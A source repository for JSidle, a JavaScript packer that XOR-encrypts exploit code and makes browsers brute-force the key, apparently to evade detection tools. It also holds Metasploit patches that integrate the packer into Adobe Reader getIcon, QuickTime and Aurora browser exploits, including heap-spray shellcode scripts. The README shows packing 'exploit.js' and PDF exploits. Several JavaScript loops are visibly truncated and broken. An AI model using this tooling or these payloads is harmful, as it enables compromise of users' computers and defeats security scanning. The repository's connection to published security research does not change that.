├── LICENSE
├── README.textile
├── jsidle
├── lib
├── jsidle.rb
└── md5-min.js
├── metasploit
├── adobe_geticon.patch
├── apple_quicktime_marshaled_punk.patch
├── jsidle.patch
└── ms10_002_aurora.patch
└── tools
└── benchmark.html
/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2010, Sven Taute
2 | All rights reserved.
3 |
4 | Redistribution and use in source and binary forms, with or without
5 | modification, are permitted provided that the following conditions are met:
6 | * Redistributions of source code must retain the above copyright
7 | notice, this list of conditions and the following disclaimer.
8 | * Redistributions in binary form must reproduce the above copyright
9 | notice, this list of conditions and the following disclaimer in the
10 | documentation and/or other materials provided with the distribution.
11 | * Neither the name of the author nor the
12 | names of contributors may be used to endorse or promote products
13 | derived from this software without specific prior written permission.
14 |
15 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
16 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
17 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
18 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY
19 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
20 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
21 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
22 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
23 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
24 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
25 |
--------------------------------------------------------------------------------
/README.textile:
--------------------------------------------------------------------------------
1 | h1. JSidle Javascript Packer
2 |
3 | Blog post about the JSidle packer: http://relentless-coding.blogspot.com/2010/07/new-javascript-packer-jsidle.html
4 |
5 | The concept of the JSidle packer is described in the Hack in the Box magazine, Volume 1, Issue 3.
6 | Get it here: http://magazine.hitb.org
7 |
8 |
9 | h2. Usage
10 |
11 |
12 | ./jsidle [ -i file ] [ -o file ] [ opt1=val1 opt2=val2 ... ]
13 | options: delay=
14 | include_md5lib=true|false
15 | mode=web|pdf
16 | speed=
17 | static=true|false
18 | strip_comments=true|false
19 |
20 |
21 | h2. Examples
22 |
23 | Asssuming tools/benchmark.html showed a speed of 20000 and you want the delay to be 5 seconds in the target browser:
24 |
25 | ./jsidle -i exploit.js -o packed.js speed=20000 delay=5
26 |
27 |
28 | Using the query string feature (the query string key will be printed to STDERR):
29 |
30 | echo "alert('owned')" | ./jsidle -o exploit.js speed=20000 delay=5 static=false
31 |
32 |
33 | Packing Javascript for usage in PDF files:
34 |
35 | ./jsidle -i pdf-exploit.js -o packed.js mode=pdf speed=300
36 |
37 |
38 |
--------------------------------------------------------------------------------
/jsidle:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 | #
3 | # JSidle Javascript packer
4 | # Author: Sven Taute
5 | # Version: 1.0
6 | # Web: http://github.com/svent/jsidle
7 |
8 | require 'lib/jsidle'
9 |
10 | if ARGV.length == 1 || ARGV[0] =~ /-h|--help/ then
11 | puts %Q!Usage: #{$0} [ -i file ] [ -o file ] [ opt1=val1 opt2=val2 ... ]
12 | options: delay=
13 | include_md5lib=true|false
14 | mode=web|pdf
15 | speed=
16 | static=true|false
17 | strip_comments=true|false
18 | !
19 | exit
20 | end
21 |
22 | in_file = STDIN
23 | out_file = STDOUT
24 | while ARGV.length >= 2 && ARGV[0][0, 1] == "-"
25 | opt = ARGV.shift
26 | in_file = File.open(ARGV.shift) if opt == "-i"
27 | out_file = File.new(ARGV.shift, "wb") if opt == "-o"
28 | end
29 |
30 | @opts = {}
31 |
32 | while arg = ARGV.shift
33 | opt, val = arg.split('=')
34 | if ["true", "false"].include?(val)
35 | val = eval(val)
36 | elsif ["web", "pdf"].include?(val)
37 | val = eval(":#{val}")
38 | elsif val =~ /^\d+$/
39 | val = val.to_i
40 | else
41 | puts "illegal argument '#{val}' for option '#{opt}'"
42 | exit
43 | end
44 | @opts[opt.to_sym] = val
45 | end
46 |
47 | code = in_file.read
48 | packer = JSidle.new(code, @opts)
49 |
50 | qskey = packer.qstring_key
51 | res = packer.pack()
52 |
53 | puts "query string key: " + qskey if @opts[:static] == false
54 |
55 | out_file.puts(res[:js_encoded])
56 |
57 |
--------------------------------------------------------------------------------
/lib/jsidle.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 | #
3 | # JSidle Javascript packer
4 | # Author: Sven Taute
5 | # Version: 1.0
6 | # Web: http://github.com/svent/jsidle
7 |
8 | require 'digest/md5'
9 |
10 | class JSidle
11 |
12 | MD5_LIB = File.join(File.expand_path(File.dirname(__FILE__)), 'md5-min.js')
13 | MD5_FUNC = "hex_md5"
14 | GUESS_KEY_COUNT = 5
15 | # english language letter frequency
16 | LETTER_FREQUENCY = {
17 | "a" => 0.0761310205517612,
18 | "b" => 0.0195636854368974,
19 | "c" => 0.0404640533988629,
20 | "d" => 0.0366881926020504,
21 | "e" => 0.116102105435379,
22 | "f" => 0.0136822823265975,
23 | "g" => 0.028795349628028,
24 | "h" => 0.0221964153382716,
25 | "i" => 0.0876371837275477,
26 | "j" => 0.00187991030325584,
27 | "k" => 0.00871196202538414,
28 | "l" => 0.0537784806945616,
29 | "m" => 0.0274565284109197,
30 | "n" => 0.0694123195077586,
31 | "o" => 0.0613826002431693,
32 | "p" => 0.02824570577372,
33 | "q" => 0.00183072038633333,
34 | "r" => 0.0738116090342629,
35 | "s" => 0.0891364068476642,
36 | "t" => 0.0664694792605686,
37 | "u" => 0.033405300320483,
38 | "v" => 0.0104004593910502,
39 | "w" => 0.00857615508083721,
40 | "x" => 0.00290648248250817,
41 | "y" => 0.0169491344178641,
42 | "z" => 0.00438645737426362
43 | }
44 |
45 | attr_accessor :js
46 | attr_reader :opts
47 | attr_reader :qstring_key
48 |
49 | def initialize(js = "", opts = {})
50 | @rand_chars = ("a".."z").to_a
51 | @js = js
52 | @qstring_key = rand_string(5 + rand(10))
53 | @opts = {
54 | :delay => 2,
55 | :include_md5lib => true,
56 | :mode => :web,
57 | :speed => 500,
58 | :static => true,
59 | :strip_comments => true,
60 | }
61 | update_opts(opts)
62 | end
63 |
64 | def update_opts(opts)
65 | @opts.each_key do |k|
66 | @opts[k] = opts[k] if !opts[k].nil?
67 | end
68 | end
69 |
70 | def <<(str)
71 | @js << str
72 | end
73 | def +(str)
74 | @js + str
75 | end
76 |
77 | def obfuscate(js)
78 | vars = []
79 | funcs = []
80 | func_args = []
81 | method_calls = []
82 | symbols_taken = {}
83 |
84 | js = strip_comments(js)
85 | vars = js.scan(/var\s+\b(.+?)\b/).flatten
86 | funcs = js.scan(/function\s+([A-Za-z0-9_]+)\(/).flatten
87 | func_args = js.scan(/function\s+[A-Za-z0-9_]+\(([^)]*)\)/).flatten.map { |e| e.split(/,\s*/) }.flatten
88 | labels = js.scan(/^\s*([A-Za-z0-9_]+):\s*$/m).flatten
89 |
90 | [vars, funcs, func_args, labels].flatten.sort {|a, b| b.length <=> a.length}.uniq.each do |arg|
91 | symbol = rand_word(3 + rand(3)) while !symbol || symbols_taken[symbol]
92 | symbols_taken[symbol] = true
93 | js.gsub!(/\b#{arg}\b/, symbol)
94 | end
95 |
96 | method_calls = js.scan(/((?:[A-Za-z0-9]+\.)*[A-Za-z0-9]+)\.([a-z][A-Za-z0-9_]*)/)
97 | method_calls.each do |mc|
98 | obj, call = mc
99 | js.gsub!(/\b#{obj}\.#{call}\b/, "#{obj}[#{frag_str(call)}]")
100 | end
101 |
102 | return js
103 | end
104 |
105 | def pack(opts = {})
106 | update_opts(opts)
107 | js = @js
108 | qstring_key = @qstring_key
109 | server_key = rand_string(5 + rand(10))
110 | salt = rand_string(10 + rand(10))
111 | guess_keys = gen_guess_keys(@opts[:speed])
112 | key = qstring_key + server_key + guess_keys.join("")
113 | guess_keys_md5 = guess_keys.map { |e| Digest::MD5.hexdigest(salt + e) }
114 | key_md5 = Digest::MD5.hexdigest(key)
115 |
116 | js = strip_comments(js) if @opts[:strip_comments]
117 | encoded = xor_encode(js, key_md5)
118 |
119 | encoded = encoded.unpack("H*")[0]
120 |
121 | eval_call = @opts[:mode] == :pdf ? "app.eval" : "window.eval"
122 |
123 | js_encoded = <<-ENDJS
124 | // prevent known ciphertext, otherwise the xor-key could easily be calculated
125 | var dummy = '#{rand_string(20 + rand(30))}';
126 | var exploit = '!!!ENCODEDEXPLOIT!!!';
127 | var encoded = '';
128 | for (i = 0;i 0) {
147 | var mod = num % 26;
148 | guess[i] = chars.substring(mod, mod + 1) + guess[i];
149 | num = Math.floor(num / 26);
150 | }
151 | if (#{MD5_FUNC}(salt + guess[i]) == guess_keys_md5[i]) {
152 | break;
153 | }
154 | round++;
155 | }
156 | }
157 | var key = #{MD5_FUNC}(partkey + guess.join(""));
158 | var decoded = '';
159 | for (i=0;ix then
201 | str << e
202 | break
203 | end
204 | s
205 | end
206 | end
207 | str
208 | end
209 |
210 | def gen_guess_keys(speed)
211 | chars = ("a".."z").to_a
212 | speed = speed * @opts[:delay]
213 | values = 0
214 | until values > 0 && values/speed.to_f > 0.7 && values/speed.to_f < 1.3
215 | keys = []
216 | values = 0
217 | GUESS_KEY_COUNT.times do |c|
218 | key = ""
219 | val = rand(speed * 2 / GUESS_KEY_COUNT)
220 | values += val
221 | while val > 0
222 | m = val % 26
223 | key << chars[m]
224 | val /= 26
225 | end
226 | keys << key.reverse
227 | end
228 | end
229 | keys
230 | end
231 |
232 | def frag_str(str, t = 0.85, first_call = true)
233 | return "'#{str}'" if t < 0.1 || str.length < 2
234 | pos = rand(str.length - 1) + 1
235 | if rand > t ** 2
236 | res = [ encode_str(str[0, pos]), encode_str(str[pos, str.length]) ]
237 | else
238 | res = [ frag_str(str[0, pos], t ** 2, false), frag_str(str[pos, str.length], t ** 2, false) ]
239 | end
240 | if first_call then
241 | return res.flatten.join(" + ")
242 | else
243 | return res
244 | end
245 | end
246 |
247 | def encode_str(str)
248 | case rand(2)
249 | when 0
250 | return "'\\x" + str.unpack("H*")[0].scan(/../).join("\\x") + "'"
251 | when 1
252 | chars = ("A".."Z").to_a + ("a".."z").to_a + ("0".."9").to_a
253 | unused_chars = chars - str.split(//)
254 | chars_to_remove = ""
255 | call = str.split(//).map do |c|
256 | chars_to_remove << rnd = rand_string(1 + rand(2), unused_chars)
257 | c + rnd
258 | end.join('')
259 | return "'#{call}'.replace(/[#{chars_to_remove}]/g, '')"
260 | end
261 | end
262 |
263 | def xor_encode(str, key)
264 | enc = ""
265 | pos = 0
266 | while pos < str.length
267 | enc << (str[pos,1].unpack("C*")[0] ^ key[pos % key.length, 1].unpack("C*")[0]).chr
268 | pos += 1
269 | end
270 | enc
271 | end
272 |
273 | def strip_comments(code)
274 | code.gsub(%r!^\s*//.*$!, '').gsub(%r!/\*.*?\*/!m, '').gsub(/(\r?\n){2,}/, "\r\n")
275 | end
276 |
277 | end
278 |
--------------------------------------------------------------------------------
/lib/md5-min.js:
--------------------------------------------------------------------------------
1 | /*
2 | * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message
3 | * Digest Algorithm, as defined in RFC 1321.
4 | * Version 2.2 Copyright (C) Paul Johnston 1999 - 2009
5 | * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
6 | * Distributed under the BSD License
7 | * See http://pajhome.org.uk/crypt/md5 for more info.
8 | */
9 | var hexcase=0;function hex_md5(a){return rstr2hex(rstr_md5(str2rstr_utf8(a)))}function hex_hmac_md5(a,b){return rstr2hex(rstr_hmac_md5(str2rstr_utf8(a),str2rstr_utf8(b)))}function md5_vm_test(){return hex_md5("abc").toLowerCase()=="900150983cd24fb0d6963f7d28e17f72"}function rstr_md5(a){return binl2rstr(binl_md5(rstr2binl(a),a.length*8))}function rstr_hmac_md5(c,f){var e=rstr2binl(c);if(e.length>16){e=binl_md5(e,c.length*8)}var a=Array(16),d=Array(16);for(var b=0;b<16;b++){a[b]=e[b]^909522486;d[b]=e[b]^1549556828}var g=binl_md5(a.concat(rstr2binl(f)),512+f.length*8);return binl2rstr(binl_md5(d.concat(g),512+128))}function rstr2hex(c){try{hexcase}catch(g){hexcase=0}var f=hexcase?"0123456789ABCDEF":"0123456789abcdef";var b="";var a;for(var d=0;d>>4)&15)+f.charAt(a&15)}return b}function str2rstr_utf8(c){var b="";var d=-1;var a,e;while(++d>>6)&31),128|(a&63))}else{if(a<=65535){b+=String.fromCharCode(224|((a>>>12)&15),128|((a>>>6)&63),128|(a&63))}else{if(a<=2097151){b+=String.fromCharCode(240|((a>>>18)&7),128|((a>>>12)&63),128|((a>>>6)&63),128|(a&63))}}}}}return b}function rstr2binl(b){var a=Array(b.length>>2);for(var c=0;c>5]|=(b.charCodeAt(c/8)&255)<<(c%32)}return a}function binl2rstr(b){var a="";for(var c=0;c>5]>>>(c%32))&255)}return a}function binl_md5(p,k){p[k>>5]|=128<<((k)%32);p[(((k+64)>>>9)<<4)+14]=k;var o=1732584193;var n=-271733879;var m=-1732584194;var l=271733878;for(var g=0;g>16)+(d>>16)+(c>>16);return(b<<16)|(c&65535)}function bit_rol(a,b){return(a<>>(32-b))};
--------------------------------------------------------------------------------
/metasploit/adobe_geticon.patch:
--------------------------------------------------------------------------------
1 | Index: modules/exploits/windows/fileformat/adobe_geticon.rb
2 | ===================================================================
3 | --- modules/exploits/windows/fileformat/adobe_geticon.rb (revision 9741)
4 | +++ modules/exploits/windows/fileformat/adobe_geticon.rb (working copy)
5 | @@ -11,6 +11,7 @@
6 |
7 | require 'msf/core'
8 | require 'zlib'
9 | +require 'rex/exploitation/jsidle'
10 |
11 | class Metasploit3 < Msf::Exploit::Remote
12 | Rank = GoodRanking
13 | @@ -81,40 +82,30 @@
14 | # Make some nops
15 | nops = Rex::Text.to_unescape(make_nops(4))
16 |
17 | - # Randomize variables
18 | - rand1 = rand_text_alpha(rand(100) + 1)
19 | - rand2 = rand_text_alpha(rand(100) + 1)
20 | - rand3 = rand_text_alpha(rand(100) + 1)
21 | - rand4 = rand_text_alpha(rand(100) + 1)
22 | - rand5 = rand_text_alpha(rand(100) + 1)
23 | - rand6 = rand_text_alpha(rand(100) + 1)
24 | - rand7 = rand_text_alpha(rand(100) + 1)
25 | - rand8 = rand_text_alpha(rand(100) + 1)
26 | - rand9 = rand_text_alpha(rand(100) + 1)
27 | - rand10 = rand_text_alpha(rand(100) + 1)
28 | - rand11 = rand_text_alpha(rand(100) + 1)
29 | - rand12 = rand_text_alpha(rand(100) + 1)
30 | -
31 | script = %Q|
32 | - var #{rand1} = unescape("#{shellcode}");
33 | - var #{rand2} ="";
34 | - for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
35 | - #{rand4} = #{rand2} + #{rand1};
36 | - #{rand5} = unescape("#{nops}");
37 | - #{rand6} = 20;
38 | - #{rand7} = #{rand6}+#{rand4}.length
39 | - while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
40 | - #{rand8} = #{rand5}.substring(0, #{rand7});
41 | - #{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
42 | - while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
43 | - #{rand10} = new Array();
44 | - for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
45 | - var #{rand12} = unescape("%0a");
46 | - while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};
47 | - #{rand12} = "N."+#{rand12};
48 | - Collab.getIcon(#{rand12});
49 | + var rand1 = unescape("#{shellcode}");
50 | + var rand2 ="";
51 | + for (rand3=128;rand3>=0;--rand3) rand2 += unescape("#{nops}");
52 | + rand4 = rand2 + rand1;
53 | + rand5 = unescape("#{nops}");
54 | + rand6 = 20;
55 | + rand7 = rand6+rand4.length
56 | + while (rand5.length :pdf)
69 | + res = @packer.pack()
70 | + script = res[:js_encoded]
71 | +
72 | # Create the pdf
73 | pdf = make_pdf(script)
74 |
75 |
--------------------------------------------------------------------------------
/metasploit/apple_quicktime_marshaled_punk.patch:
--------------------------------------------------------------------------------
1 | Index: modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb
2 | ===================================================================
3 | --- modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb (revision 10204)
4 | +++ modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb (working copy)
5 | @@ -10,6 +10,7 @@
6 | ##
7 |
8 | require 'msf/core'
9 | +require 'rex/exploitation/jsidle'
10 |
11 | class Metasploit3 < Msf::Exploit::Remote
12 | Rank = GreatRanking
13 | @@ -90,10 +91,17 @@
14 | 'Privileged' => false,
15 | 'DisclosureDate' => 'Aug 30 2010',
16 | 'DefaultTarget' => 0))
17 | +
18 | + @packer = Rex::Exploitation::JSidle.new(:static => false)
19 | end
20 |
21 | def on_request_uri(client, request)
22 |
23 | + if (!request.uri.match(/\?\w+/))
24 | + send_local_redirect(client, "?#{@packer.qstring_key}")
25 | + return
26 | + end
27 | +
28 | return if ((p = regenerate_payload(client)) == nil)
29 |
30 | print_status("Sending #{self.name} exploit HTML to #{client.peerhost}:#{client.peerport}...")
31 | @@ -224,11 +232,15 @@
32 |
33 | hl_js = heaplib(custom_js)
34 |
35 | + @packer.js = hl_js
36 | + res = @packer.pack()
37 | + js_encoded = res[:js_encoded]
38 | +
39 | content = <<-EOF
40 |
41 |
42 |
46 |
47 |
48 |
--------------------------------------------------------------------------------
/metasploit/jsidle.patch:
--------------------------------------------------------------------------------
1 | Index: lib/rex/exploitation/jsidle.rb
2 | ===================================================================
3 | --- lib/rex/exploitation/jsidle.rb (revision 0)
4 | +++ lib/rex/exploitation/jsidle.rb (revision 0)
5 | @@ -0,0 +1,282 @@
6 | +#
7 | +# JSidle Javascript packer
8 | +# Author: Sven Taute
9 | +# Version: 1.0
10 | +# Web: http://github.com/svent/jsidle
11 | +#
12 | +require 'digest/md5'
13 | +
14 | +module Rex
15 | +module Exploitation
16 | +
17 | +class JSidle
18 | +
19 | + MD5_LIB = File.join(Msf::Config.data_directory, "js", "md5-min.js")
20 | + MD5_FUNC = "hex_md5"
21 | + GUESS_KEY_COUNT = 5
22 | + # english language letter frequency
23 | + LETTER_FREQUENCY = {
24 | + "a" => 0.0761310205517612,
25 | + "b" => 0.0195636854368974,
26 | + "c" => 0.0404640533988629,
27 | + "d" => 0.0366881926020504,
28 | + "e" => 0.116102105435379,
29 | + "f" => 0.0136822823265975,
30 | + "g" => 0.028795349628028,
31 | + "h" => 0.0221964153382716,
32 | + "i" => 0.0876371837275477,
33 | + "j" => 0.00187991030325584,
34 | + "k" => 0.00871196202538414,
35 | + "l" => 0.0537784806945616,
36 | + "m" => 0.0274565284109197,
37 | + "n" => 0.0694123195077586,
38 | + "o" => 0.0613826002431693,
39 | + "p" => 0.02824570577372,
40 | + "q" => 0.00183072038633333,
41 | + "r" => 0.0738116090342629,
42 | + "s" => 0.0891364068476642,
43 | + "t" => 0.0664694792605686,
44 | + "u" => 0.033405300320483,
45 | + "v" => 0.0104004593910502,
46 | + "w" => 0.00857615508083721,
47 | + "x" => 0.00290648248250817,
48 | + "y" => 0.0169491344178641,
49 | + "z" => 0.00438645737426362
50 | + }
51 | +
52 | + attr_accessor :js
53 | + attr_reader :opts
54 | + attr_reader :qstring_key
55 | +
56 | + def initialize(js = "", opts = {})
57 | + @rand_chars = ("a".."z").to_a
58 | + @js = js
59 | + @qstring_key = rand_string(5 + rand(10))
60 | + @opts = {
61 | + :delay => 2,
62 | + :include_md5lib => true,
63 | + :mode => :web,
64 | + :speed => 500,
65 | + :static => true,
66 | + :strip_comments => true,
67 | + }
68 | + update_opts(opts)
69 | + end
70 | +
71 | + def update_opts(opts)
72 | + @opts.each_key do |k|
73 | + @opts[k] = opts[k] if !opts[k].nil?
74 | + end
75 | + end
76 | +
77 | + def <<(str)
78 | + @js << str
79 | + end
80 | + def +(str)
81 | + @js + str
82 | + end
83 | +
84 | + def obfuscate(js)
85 | + vars = []
86 | + funcs = []
87 | + func_args = []
88 | + method_calls = []
89 | + symbols_taken = {}
90 | +
91 | + js = strip_comments(js)
92 | + vars = js.scan(/var\s+\b(.+?)\b/).flatten
93 | + funcs = js.scan(/function\s+([A-Za-z0-9_]+)\(/).flatten
94 | + func_args = js.scan(/function\s+[A-Za-z0-9_]+\(([^)]*)\)/).flatten.map { |e| e.split(/,\s*/) }.flatten
95 | + labels = js.scan(/^\s*([A-Za-z0-9_]+):\s*$/m).flatten
96 | +
97 | + [vars, funcs, func_args, labels].flatten.sort {|a, b| b.length <=> a.length}.uniq.each do |arg|
98 | + symbol = rand_word(3 + rand(3)) while !symbol || symbols_taken[symbol]
99 | + symbols_taken[symbol] = true
100 | + js.gsub!(/\b#{arg}\b/, symbol)
101 | + end
102 | +
103 | + method_calls = js.scan(/((?:[A-Za-z0-9]+\.)*[A-Za-z0-9]+)\.([a-z][A-Za-z0-9_]*)/)
104 | + method_calls.each do |mc|
105 | + obj, call = mc
106 | + js.gsub!(/\b#{obj}\.#{call}\b/, "#{obj}[#{frag_str(call)}]")
107 | + end
108 | +
109 | + return js
110 | + end
111 | +
112 | + def pack(opts = {})
113 | + update_opts(opts)
114 | + js = @js
115 | + qstring_key = @qstring_key
116 | + server_key = rand_string(5 + rand(10))
117 | + salt = rand_string(10 + rand(10))
118 | + guess_keys = gen_guess_keys(@opts[:speed])
119 | + key = qstring_key + server_key + guess_keys.join("")
120 | + guess_keys_md5 = guess_keys.map { |e| Digest::MD5.hexdigest(salt + e) }
121 | + key_md5 = Digest::MD5.hexdigest(key)
122 | +
123 | + js = strip_comments(js) if @opts[:strip_comments]
124 | + encoded = xor_encode(js, key_md5)
125 | +
126 | + encoded = encoded.unpack("H*")[0]
127 | +
128 | + eval_call = @opts[:mode] == :pdf ? "app.eval" : "window.eval"
129 | +
130 | + js_encoded = <<-ENDJS
131 | + // prevent known ciphertext, otherwise the xor-key could easily be calculated
132 | + var dummy = '#{rand_string(20 + rand(30))}';
133 | + var exploit = '!!!ENCODEDEXPLOIT!!!';
134 | + var encoded = '';
135 | + for (i = 0;i 0) {
154 | + var mod = num % 26;
155 | + guess[i] = chars.substring(mod, mod + 1) + guess[i];
156 | + num = Math.floor(num / 26);
157 | + }
158 | + if (#{MD5_FUNC}(salt + guess[i]) == guess_keys_md5[i]) {
159 | + break;
160 | + }
161 | + round++;
162 | + }
163 | + }
164 | + var key = #{MD5_FUNC}(partkey + guess.join(""));
165 | + var decoded = '';
166 | + for (i=0;ix then
208 | + str << e
209 | + break
210 | + end
211 | + s
212 | + end
213 | + end
214 | + str
215 | + end
216 | +
217 | + def gen_guess_keys(speed)
218 | + chars = ("a".."z").to_a
219 | + speed = speed * @opts[:delay]
220 | + values = 0
221 | + until values > 0 && values/speed.to_f > 0.7 && values/speed.to_f < 1.3
222 | + keys = []
223 | + values = 0
224 | + GUESS_KEY_COUNT.times do |c|
225 | + key = ""
226 | + val = rand(speed * 2 / GUESS_KEY_COUNT)
227 | + values += val
228 | + while val > 0
229 | + m = val % 26
230 | + key << chars[m]
231 | + val /= 26
232 | + end
233 | + keys << key.reverse
234 | + end
235 | + end
236 | + keys
237 | + end
238 | +
239 | + def frag_str(str, t = 0.85, first_call = true)
240 | + return "'#{str}'" if t < 0.1 || str.length < 2
241 | + pos = rand(str.length - 1) + 1
242 | + if rand > t ** 2
243 | + res = [ encode_str(str[0, pos]), encode_str(str[pos, str.length]) ]
244 | + else
245 | + res = [ frag_str(str[0, pos], t ** 2, false), frag_str(str[pos, str.length], t ** 2, false) ]
246 | + end
247 | + if first_call then
248 | + return res.flatten.join(" + ")
249 | + else
250 | + return res
251 | + end
252 | + end
253 | +
254 | + def encode_str(str)
255 | + case rand(2)
256 | + when 0
257 | + return "'\\x" + str.unpack("H*")[0].scan(/../).join("\\x") + "'"
258 | + when 1
259 | + chars = ("A".."Z").to_a + ("a".."z").to_a + ("0".."9").to_a
260 | + unused_chars = chars - str.split(//)
261 | + chars_to_remove = ""
262 | + call = str.split(//).map do |c|
263 | + chars_to_remove << rnd = rand_string(1 + rand(2), unused_chars)
264 | + c + rnd
265 | + end.join('')
266 | + return "'#{call}'.replace(/[#{chars_to_remove}]/g, '')"
267 | + end
268 | + end
269 | +
270 | + def xor_encode(str, key)
271 | + enc = ""
272 | + pos = 0
273 | + while pos < str.length
274 | + enc << (str[pos,1].unpack("C*")[0] ^ key[pos % key.length, 1].unpack("C*")[0]).chr
275 | + pos += 1
276 | + end
277 | + enc
278 | + end
279 | +
280 | + def strip_comments(code)
281 | + code.gsub(%r!^\s*//.*$!, '').gsub(%r!/\*.*?\*/!m, '').gsub(/(\r?\n){2,}/, "\r\n")
282 | + end
283 | +
284 | +end
285 | +
286 | +end
287 | +end
288 | Index: data/js/md5-min.js
289 | ===================================================================
290 | --- data/js/md5-min.js (revision 0)
291 | +++ data/js/md5-min.js (revision 0)
292 | @@ -0,0 +1,9 @@
293 | +/*
294 | + * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message
295 | + * Digest Algorithm, as defined in RFC 1321.
296 | + * Version 2.2 Copyright (C) Paul Johnston 1999 - 2009
297 | + * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
298 | + * Distributed under the BSD License
299 | + * See http://pajhome.org.uk/crypt/md5 for more info.
300 | + */
301 | +var hexcase=0;function hex_md5(a){return rstr2hex(rstr_md5(str2rstr_utf8(a)))}function hex_hmac_md5(a,b){return rstr2hex(rstr_hmac_md5(str2rstr_utf8(a),str2rstr_utf8(b)))}function md5_vm_test(){return hex_md5("abc").toLowerCase()=="900150983cd24fb0d6963f7d28e17f72"}function rstr_md5(a){return binl2rstr(binl_md5(rstr2binl(a),a.length*8))}function rstr_hmac_md5(c,f){var e=rstr2binl(c);if(e.length>16){e=binl_md5(e,c.length*8)}var a=Array(16),d=Array(16);for(var b=0;b<16;b++){a[b]=e[b]^909522486;d[b]=e[b]^1549556828}var g=binl_md5(a.concat(rstr2binl(f)),512+f.length*8);return binl2rstr(binl_md5(d.concat(g),512+128))}function rstr2hex(c){try{hexcase}catch(g){hexcase=0}var f=hexcase?"0123456789ABCDEF":"0123456789abcdef";var b="";var a;for(var d=0;d>>4)&15)+f.charAt(a&15)}return b}function str2rstr_utf8(c){var b="";var d=-1;var a,e;while(++d>>6)&31),128|(a&63))}else{if(a<=65535){b+=String.fromCharCode(224|((a>>>12)&15),128|((a>>>6)&63),128|(a&63))}else{if(a<=2097151){b+=String.fromCharCode(240|((a>>>18)&7),128|((a>>>12)&63),128|((a>>>6)&63),128|(a&63))}}}}}return b}function rstr2binl(b){var a=Array(b.length>>2);for(var c=0;c>5]|=(b.charCodeAt(c/8)&255)<<(c%32)}return a}function binl2rstr(b){var a="";for(var c=0;c>5]>>>(c%32))&255)}return a}function binl_md5(p,k){p[k>>5]|=128<<((k)%32);p[(((k+64)>>>9)<<4)+14]=k;var o=1732584193;var n=-271733879;var m=-1732584194;var l=271733878;for(var g=0;g>16)+(d>>16)+(c>>16);return(b<<16)|(c&65535)}function bit_rol(a,b){return(a<>>(32-b))};
302 | \ No newline at end of file
303 |
--------------------------------------------------------------------------------
/metasploit/ms10_002_aurora.patch:
--------------------------------------------------------------------------------
1 | Index: modules/exploits/windows/browser/ms10_002_aurora.rb
2 | ===================================================================
3 | --- modules/exploits/windows/browser/ms10_002_aurora.rb (revision 9725)
4 | +++ modules/exploits/windows/browser/ms10_002_aurora.rb (working copy)
5 | @@ -10,6 +10,7 @@
6 | ##
7 |
8 | require 'msf/core'
9 | +require 'rex/exploitation/jsidle'
10 |
11 | class Metasploit3 < Msf::Exploit::Remote
12 | Rank = NormalRanking
13 | @@ -75,7 +76,7 @@
14 | 'DisclosureDate' => 'Jan 14 2009', # wepawet sample
15 | 'DefaultTarget' => 0))
16 |
17 | - @javascript_encode_key = rand_text_alpha(rand(10) + 10)
18 | + @packer = Rex::Exploitation::JSidle.new(:static => false)
19 | end
20 |
21 | def on_request_uri(cli, request)
22 | @@ -87,68 +88,55 @@
23 | end
24 |
25 | if (!request.uri.match(/\?\w+/))
26 | - send_local_redirect(cli, "?#{@javascript_encode_key}")
27 | + send_local_redirect(cli, "?#{@packer.qstring_key}")
28 | return
29 | end
30 |
31 | - var_boom = rand_text_alpha(rand(100) + 1)
32 | -
33 | - var_element = rand_text_alpha(rand(100) + 1)
34 | - var_event = rand_text_alpha(rand(100) + 1)
35 | + var_span_id = rand_text_alpha(rand(100) + 1)
36 | + var_start = rand_text_alpha(rand(100) + 1)
37 | var_loaded = rand_text_alpha(rand(100) + 1)
38 | - var_loaded_arg = rand_text_alpha(rand(100) + 1)
39 |
40 | - var_memory = rand_text_alpha(rand(100) + 1)
41 | - var_spray = rand_text_alpha(rand(100) + 1)
42 | - var_i = rand_text_alpha(rand(100) + 1)
43 | -
44 | - var_el_array = rand_text_alpha(rand(100) + 1)
45 | bleh = rand_text_alpha(3);
46 | - var_grab_mem = rand_text_alpha(rand(100) + 1)
47 |
48 | - var_unescape = rand_text_alpha(rand(100) + 1)
49 | - var_shellcode = rand_text_alpha(rand(100) + 1)
50 | -
51 | - var_span_id = rand_text_alpha(rand(100) + 1)
52 | - var_start = rand_text_alpha(rand(100) + 1)
53 | - rand_html = rand_text_english(rand(400) + 500)
54 | -
55 | - js = %Q|var #{var_element} = "COMMENT";
